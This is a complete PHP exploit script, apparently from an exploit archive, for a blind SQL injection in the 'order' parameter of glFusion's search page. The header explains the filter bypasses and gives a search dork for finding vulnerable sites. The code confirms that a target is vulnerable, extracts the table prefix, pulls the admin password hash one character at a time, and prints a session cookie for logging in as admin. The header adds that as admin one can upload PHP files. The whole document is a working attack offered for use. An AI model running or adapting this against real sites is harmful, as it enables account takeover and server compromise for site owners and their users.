<?php
/*
glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit
by Nine:Situations:Group::bookoo
working against Mysql >= 4.1
php.ini independent
our site: http://retrogod.altervista.org/
software site: http://www.glfusion.org/
google dork: \"Page created in\" \"seconds by glFusion\" +RSS
Vulnerability, sql injection in \'order\' and \'direction\' arguments:
look ExecuteQueries() function in /private/system/classes/listfactory.class.php, near line 336:
...
// Get the details for sorting the list
$this->_sort_arr[\'field\'] = isset($_REQUEST[\'order\']) ? COM_applyFilter($_REQUEST[\'order\']) : $this->_def_sort_arr[\'field\'];
$this->_sort_arr[\'direction\'] = isset($_REQUEST[\'direction\']) ? COM_applyFilter($_REQUEST[\'direction\']) : $this->_def_sort_arr[\'direction\'];
if (is_numeric($this->_sort_arr[\'field\'])) {
$ord = $this->_def_sort_arr[\'field\'];
$this->_sort_arr[\'field\'] = SQL_TITLE;
} else {
$ord = $this->_sort_arr[\'field\'];
}
$order_sql = \' ORDER BY \' . $ord . \' \' . strtoupper($this->_sort_arr[\'direction\']);
...
filters are inefficient, see COM_applyFilter() which calls COM_applyBasicFilter()
in /public/lib-common.php near line 5774.
We are in an ORDER clause and vars are not surrounded by quotes,
bad chars are ex. \",\" , \"/\" ,\"\'\", \";\", \"\\\",\"\"\",\"*\",\"`\"
but what about spaces and \"(\"... you can use a CASE WHEN .. THEN .. ELSE .. END
construct instead of ex. IF(..,..,..) and \"--\" instead of \"/*\" to close
your query.
And ex. the alternative syntax SUBSTR(str FROM n FOR n) instead of
SUBSTR(str,n,n) in a sub-SELECT statement.
Other attacks are possible, COM_applyFilter() is a very common used one.
Additional notes: \'direction\' argument is uppercased by strtoupper(),
you know that table identifiers on Unix-like systems are case sensitives
but not on MS Windows, however I choosed to inject in the \'order\' one
for better results.
Vars come from the $_REQUEST[] array so you can pass it by $_POST[] or
$_COOKIE[], which is not intended I suppose.
This exploit extracts the hash from users table; also note that you do
not need to crack the hash, you can authenticate as admin with the
cookie:
glfusion=[uid]; glf_password=[hash];
as admin you can upload php files in public folders!
Very soft mitigations: glFusion does not show the table prefix in sql
errors, default however is \'gl_\'. I prepared a fast routine to extract
it from information_schema db if availiable.
To successfully interrogate MySQL you need at least 2 records in the
same topic section, however the default installation create 2 links with
topic \"glFusion\"
*/
$err[0]=\"[!] This script is intended to be launched from the cli!\";
$err[1]=\"[!] You need the curl extesion loaded!\";
if (php_sapi_name() <> \"cli\") {
die($err[0]);
}
if (!extension_loaded(\'curl\')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === \'WIN\') ? true : false;
if ($win) {
!dl(\"php_curl.dll\") ? die($err[1]) : nil;
}
else {
!dl(\"php_curl.so\") ? die($err[1]) : nil;
}
}
function syntax(){
print (
\"Syntax: php \".$argv[0].\" [host] [path] [[port]] [OPTIONS] \\n\".
\"Options: \\n\".
\"--port:[port] - specify a port \\n\".
\" default -> 80 \\n\".
\"--prefix - try to extract table prefix from information.schema\\n\".
\" default -> gl_ \\n\".
\"--uid:[n] - specify an uid other than default (2,usually admin)\\n\".
\"--proxy:[host:port] - use proxy \\n\".
\"--enforce - try even with \'not vulnerable\' message \");
die();
}
error_reporting(E_ALL ^ E_NOTICE);
$host=$argv[1];
$path=$argv[2];
$prefix=\"gl_\"; //default
$uid=\"2\";
$where= \"uid=$uid\"; //user id, usually admin, anonymous = 1
$argv[2] ? print(\"[*] Attacking...\\n\") : syntax();
$_f_prefix=false;
$_use_proxy=false;
$port=80;
$_enforce=false;
for ($i=3; $i<$argc; $i++){
if ( stristr($argv[$i],\"--prefix\")){
$_f_prefix=true;
}
if ( stristr($argv[$i],\"--proxy:\")){
$_use_proxy=true;
$tmp=explode(\":\",$argv[$i]);
$proxy_host=$tmp[1];
$proxy_port=(int)$tmp[2];
}
if ( stristr($argv[$i],\"--port:\")){
$tmp=explode(\":\",$argv[$i]);
$port=(int)$tmp[1];
}
if ( stristr($argv[$i],\"--enforce\")){
$_enforce=true;
}
if ( stristr($argv[$i],\"--uid\")){
$tmp=explode(\":\",$argv[$i]);
$uid=(int)$tmp[1];
$where=\"uid=$uid\";
}
}
$url = \"http://$argv[1]:$port\";
function _s($url,$request)
{
global $_use_proxy,$proxy_host,$proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request.\"\\r\\n\");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, \"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\");
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
if ($_use_proxy){
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.\":\".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
die(\"[!] \".curl_error($ch).\"\\n\");
} else {
curl_close($ch);
}
return $_d;
}
function chk_err($s){
if (stripos ($s,\"\\x41\\x6e\\x20\\x53\\x51\\x4c\\x20\\x65\\x72\\x72\\x6f\\x72\\x20\\x68\\x61\\x73\\x20\\x6f\\x63\\x63\\x75\\x72\\x72\\x65\\x64\")){
return true;
}
else {
return false;
}
}
function xtrct_tpc($_h){
$_x=explode(\"\\x69\\x6e\\x64\\x65\\x78\\x2e\\x70\\x68\\x70\\x3f\\x74\\x6f\\x70\\x69\\x63\\x3d\",$_h);
$_y=array();
for ($i=1; $i<count($_x); $i++){
$_tmp=explode(\"\\x22\",$_x[$i]);
if ((!in_array($_tmp[0],$_y)) and ($_tmp[0]<>\'\')) {
$_y[$i]=$_tmp[0];
}
}
return $_y;
}
$url =\"http://$host:$port\".$path.\"index.php\";
$out= _s($url,\"\");
$_tpcs=xtrct_tpc($out);
$_types=array(\"links\",\"stories\",\"filemgmt\",\"forum\");
$_t=false;
for ($i=0; $i<count($_tpcs); $i++){
for ($j=0; $j<count($_types); $j++){
$url =\"http://$host:$port\".$path.\"search.php?query=a+a+a&keyType=all&datestart=&dateend=&topic=\".$_tpcs[$i].\"&type=\".$_types[$j].\"&author=0&results=25&mode=search\";
$out= _s($url,\"\");
$mtchs=explode(\"\\x3e\\x32\\x2e\", $out);
if (count($mtchs)==2){
$_t=true;
break;
}
}
}
if ($_t==true){
$type = $_types[$j];
$topic= $_tpcs[$i];
} else {
$type= \"links\"; //section with at least 2 records of the same topic
$topic= \"glFusion\"; //existing topic in section
}
print(\"[*] topic -> \'\".$topic.\"\', type -> \'\".$type.\"\'\\n\");
$prepend=\"query=&topic=\".$topic.\"&keyType=phrase\";
//checking for vulnerability existence ...
$url =\"http://$host:$port\".$path.\"search.php?\".$prepend.\"&datestart=&dateend=1&type=all&author=0&results=25&mode=search&order=\";
$_d=\"order=--;\";
$out= _s($url,$_d);
//version compatibility
if (stripos($out,\"\\x73\\x68\\x6f\\x75\\x6c\\x64\\x20\\x68\\x61\\x76\\x65\\x20\\x61\\x74\\x20\\x6c\\x65\\x61\\x73\\x74\\x20\\x33\\x20\\x63\\x68\\x61\\x72\\x61\\x63\\x74\\x65\\x72\\x73\")){
$prepend=\"query=a+a+a&topic=0&keyType=all\";
$url =\"http://$host:$port\".$path.\"search.php?\".$prepend.\"&datestart=&dateend=1&type=all&author=0&results=25&mode=search\";
$out= _s($url,$_d);
}
if (chk_err($out)) {
print(\"[*] Vulnerable ...\\n\");
} else {
print(\"[!] Not vulnerable ...\\n\");
if (!$_enforce){
die;
}
}
switch ($type) {
case $_types[0]:
$_order = array(\"id\",\"url\",\"description\",\"title\",\"hits\",\"date\",\"uid\");
break;
case $_types[1]:
$_order = array(\"id\",\"title\",\"description\",\"date\",\"uid\",\"hits\",\"url\");
break;
case $_types[2]:
$_order = array(\"id\",\"uid\",\"comments\",\"hits\",\"date\",\"description\",\"url\");
break;
case $_types[3]:
$_order = array(\"id\",\"name\",\"forum\",\"date\",\"title\",\"description\",\"hits\",\"uid\");
break;
}
function xtrct_lnk($_h){
$_x=explode(\"\\x3e\\x31\\x2e\",$_h);
$_x=explode(\"\\x3c\\x61\\x20\\x68\\x72\\x65\\x66\\x3d\\x22\",$_x[1]);
$_x=explode(\"\\x22\",$_x[1]);
return html_entity_decode($_x[0]);
}
//checking for exploitability ...
$sql = urlencode(\"(CASE WHEN (SELECT 1) THEN 1 ELSE 1 END) LIMIT 1--\");
$url =\"http://$host:$port\".$path.\"search.php?\".$prepend.\"&datestart=&dateend=1&type=\".$type.\"&author=0&results=25&mode=search\";
$_d=\"order=\".$sql.\";\";
$out= _s($url,$_d);
if (chk_err($out)) {
die(\"[!] Mysql < 4.1 ...\");
} else {
print \"[*] Subquery works, exploiting ...\\n\";
}
$_lnks = array();
$v = array();
for ($i=0; $i<count($_order); $i++){
$sql = urlencode(\"$_order[$i] LIMIT 1--\");
$url =\"http://$host:$port\".$path.\"search.php?\".$prepend.\"&datestart=&dateend=1&type=\".$type.\"&author=0&results=25&mode=search\";
$_d=\"order=\".$sql.\";\";
$_o= _s($url,$_d);
$l=xtrct_lnk($_o);
if (!in_array($l,$_lnks)) {
array_push($_lnks,$l);
array_push($v,$_order[$i]);
}
if (count($v)>1) {
print \"[*] \'\".$v[0].\"\' and \'\".$v[1].\"\' in ORDER clause returs different records, good! \\n\";
break;
}
}
if (count($v)<=1) {die(\"[!] Unable to interrogate database: \".count(v).\" record(s) in table ... need at least 2 with topic \'\".$topic.\" in section \'\".$type.\"\' !\");}
function find_prefix(){
global $_lnks ,$v, $type, $host, $port, $path, $prepend;
$_table_name=\"\";
$j=1;
print \"[*] Table name -> \";
while (!strstr($_table_name,chr(0))){
$mn=0x00;$mx=0xff;
while (1){
if (($mx + $mn) % 2 ==1){
$c= round(($mx + $mn) / 2) - 1;
} else {
$c= round(($mx + $mn) / 2);
}
$sql = urlencode(\"(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) >= \".$c.\") FROM information_schema.TABLES WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN \".$v[0].\" ELSE \".$v[1].\" END) LIMIT 1--\");
$url =\"http://$host:$port\".$path.\"search.php?\".$prepend.\"&datestart=&dateend=1&type=\".$type.\"&author=0&results=25&mode=search\";
$_d=\"order=\".$sql.\";\";
$_o= _s($url,$_d);
if (chk_err($_o)) {
die(\"\\n[!] information_schema not availiable!\");
}
$l=xtrct_lnk($_o);
if ($l==$_lnks[0]){
$mn = $c;
}
else {
$mx = $c - 1;
}
if (($mx-$mn==1) or ($mx==$mn)){
$sql = urlencode(\"(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) = \".$mn.\") FROM information_schema.tables WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN \".$v[0].\" ELSE \".$v[1].\" END) LIMIT 1--\");
$url =\"http://$host:$port\".$path.\"search.php?\".$prepend.\"&datestart=&dateend=1&type=\".$type.\"&author=0&results=25&mode=search\";
$_d=\"order=\".$sql.\";\";
$_o= _s($url,$_d);
$l=xtrct_lnk($_o);
if ($l==$_lnks[0]){
print chr($mn);
$_table_name.=chr($mn);
} else {
print chr($mx);
$_table_name.=chr($mx);
}
break;
}
}
$j++;
}
print \"\\n\";
$_prefix = str_replace(\"trackbackcodes\",\"\",$_table_name);
return $_prefix;
}
if ($_f_prefix == true) {
$prefix=find_prefix();
print \"[*] Table prefix -> \".$prefix.\"\\n\";
}
$c=array();$c=array_merge($c,range(0x30,0x39));$c=array_merge($c,range(0x61,0x66));
print \"[*] hash -> \";
$_hash=\"\";
for ($j=1; $j<0x21; $j++){
for ($i=1; $i<=0xff; $i++){
$f=false;
if (in_array($i,$c)){
$sql = urlencode(\"(CASE WHEN (SELECT (ASCII(SUBSTR(PASSWD FROM $j FOR 1))=$i) FROM \".$prefix.\"users WHERE $where LIMIT 1) THEN \".$v[0].\" ELSE \".$v[1].\" END) LIMIT 1--\");
$url =\"http://$host:$port\".$path.\"search.php?\".$prepend.\"&datestart=&dateend=1&type=\".$type.\"&author=0&results=25&mode=search\";
$_d=\"order=\".$sql.\";\";
$_o= _s($url,$_d);
if (chk_err($_o)) {
die(\"\\n[!] wrong table prefix!\");
}
$l=xtrct_lnk($_o);
if ($l==$_lnks[0]){
$f=true;
$_hash.=chr($i);
print chr($i); break;
}
}
}
if ($f==false){
die(\"\\n[!] Unknown error ...\");
}
}
print \"\\n[*] your cookie -> glfusion=\".$uid.\"; glf_password=\".$_hash.\"; glf_theme=nouveau;\";
?>
暂无评论